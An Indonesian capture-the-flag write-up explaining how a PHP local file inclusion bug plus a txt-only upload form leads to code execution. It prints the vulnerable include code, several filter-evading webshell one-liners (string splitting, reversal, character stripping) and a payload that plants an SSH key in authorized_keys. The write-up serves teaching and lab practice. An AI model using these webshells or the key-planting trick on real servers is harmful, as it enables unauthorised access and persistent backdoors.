Solution for Ramadhan Challenges

Challenges ini dibuat ketika bingung mau menjelaskan bug LFI (Local File Inclusion) pada saat secure coding di STTS, karena cukup bosan dengan LFI to Local File Read via wrapper, saya mencari LFI to RCE selain melalui /self/proc/environ
dan menemukan LFI to RCE via Access Log Posioning, namun karena di hosting tidak bisa baca log berbentuk txt maka terbuatlah fitur file upload yang hanya bisa upload txt. dan berikut adalah Write Up-nya.
Di atas adalah tampilan ketika membaca lorem ipsum, terlihat pada url ada parameter / index page dengan value loremipusm.html, hal ini pun berlaku ketika membaca twice
Kita coba langsung untuk membaca file /etc/passwd, dan berhasil. Terlihat jelas bahwa value parameter page langsung di include, kurang lebih source code seperti ini
<?php
...
if($_GET['page']) {
include("article/".$_GET['page']);
} else
...
Terlihat dari error message ketika merubah value dari index page ke value yang tidak valid, setelah mencoba banyak cara untuk mendapatkan akses seperti RFI (Remote File Inclusion), Wrapper dan lain sebagainya, hasilnya gagal total, hal ini gagal karena ada kata ‘article’ di depan sebelum input parameter page, yang menyebabkan tidak bisa melakukan RFI dan wrapper
Membuka terminal dan melakukan pencarian folder lain menggunakan gobuster dan wordlist common web files, dan menemukan files robots.txt dan directory uploads, pada file robots.txt terdapat Disallow: uploads/, kita langsung ke diretory tersebut dan mendapatkan form upload
Langsung aja mengupload webshell php, namun gagal karena file terlalu besar
Ganti ke one liner php web shell, biar file size makin kecil
Tapi gagal karena nama file sama dengan nama file sebelumnya, yaudah rubah lagi
Namun gagal lagi karena file type (php) tidak dijinkan, lalu mencoba beberapa teknik bypass file type upload, tapi tidak ada yang berhasil. Sedikit mentok dan pusing, membuat file test.txt dengan isi kosong untuk melakukan pengecekan apakah file upload berjalan dengan baik atau tidak
File test.txt kosongan tadi berhasil di upload
Lalu mencoba mengakses di server, dan ternyata beneran berhasil di upload
Dari sini dapat kita ketahui bahwa web ini memiliki kerentanan LFI dan ada fitur upload namun hanya file txt saja dan ukuran file cukup kecil, karena celah pada LFI menggunakan fungsi include yang dimana ketika file yang di-include-kan mengandung tag php maka file tersebut akan dijalankan sebagai php, maka dari itu kita menggabungakan LFI dengan File Upload tadi, dengan cara mengupload simple php backdoor dalam bentuk txt, dan memanggil file tersebut melalui LFI.
Di atas adalah file shell yang akan diupload, namun ketika diupload, gagal
File terdeteksi sebagai virus, setelah ditelusuri ternyata pada uploader ini melakukan pengecekan apakah file yang diupload mengandung kata php dan nama-nama fungsi shell exec lainnya,
Setelah mencari tahu di google, ternyata php bisa berjalan dengan tag <?=
dan `
sebagai fungsi shell exec tanpa harus memanggil nama fungsi, setelah di upload dan berhasil (yeayy), kita langsung panggil file ini dengan LFI pada loremipsum atau twice
File berjalan namun tidak ada interaksi karena memerlukan param / index c
Langsung tambahkan param / index c
dan berhasil
Write nick to solver.txt echo "nick" >> solver.txt
Nick tertulis :3
Namun ketika challenges ini dikerjakan oleh teman-teman yang ada pada group SHL, cukup menarik, karena banyak yang tidak menggunakan `
untuk menulis nick, ada yang melalui command php files, dan beberapa trik evasion agar file txt tidak terdeteksi sebagai malware/virus ketika di upload seperti berikut
<?=@$_GET[a]($_GET[b])?>
@ pada kode di atas untuk menonaktifkan display error yang akan muncul, kemudian ada 2 index / parameter yaitu a dan b yang dimana index / param b berada di dalam kurung setelah index /param a sehingga player melakukan request https://challshl/?page=../uploads/x.txt&a=system&b=id
maka fungsi system akan terpanggil karena dengan request tersebut maka sama saja dengan <?php system('id') ?>
karena pada server fungsi shell tidak dimatikan melalui php.ini
<?=file_put_contents('/home/challshl/.ssh/authorized_keys', 'ssh-rsa AAxa---snip---DDyt user@host')?>
Menggunakan fungsi file_put_contents() untuk memasukan public key ke dalam authorized_keys di folder .ssh
Dengan begini player mendapatkan akses shell melalui ssh tanpa harus login karena public key sudah tersimpan pada server
<?=
$func = "sh" . "ell" . "_" . "ex" . "ec";
$ups = $_GET['ups'];
echo "<pre>" . $func($ups) . "</pre>";
Kode di atas menggunakan fungsi shell_exec() yang dimana fungsi tersebut telah di block (check source code at here) namun tetap bisa digunakan karena tidak ada pengecekan kata sh, ell, ex, ec kata tersebut dipisah namun disatukan kembali sehingga dapat menggunakan fungsi shell_exec()
<?=
$shell = "cexe_llehs";
print(strrev($shell($_GET['x'])));
?>
Kode di atas sangat sederhana, hanya membalik kata shell_exec menjadi cexe_llehs, karena kata tersebut tidak diblacklist maka file tetap terupload, tapi pada kode tersebut menggunakan fungsi strrev() dimana fungsi tersebut membalikan urutan kata, sehingga player dapat menjalankan fungsi shell_exec()
<?=
$cmd = $_GET['x'];
$shell = "szhezlzl_ezxezc";
$shell = str_replace("z","",$shell);
echo $shell($cmd);
?>
Kode diatas dapat menjalankan fungsi shell_exec() karena dari kata szhezlzl_ezxezc
dan dihilangkan huruf z menjadi shell_exec
menggunakan fungsi str_replace()
Cukup banyak sekali tips dan trik untuk melakukan evasion agar webshell / backdoor tidak terdeteksi oleh waf atau sanitasi manual, dan sebagai langkah pencegahan untuk menghindari penggunaan shell dapat menonaktifkan fungsi shell seperti system, shell_exec dsb melalui file php.ini
Jika kalian ingin mencoba challenges simple ini, kalian dapat melakukannya dengan membuat lab sederhana, source code challenges ini dapat di download di sini
dan jika kalian ingin melihat versi video tentang challenges ini, kalian dapat melihat video ini
Sekian see you on next challenges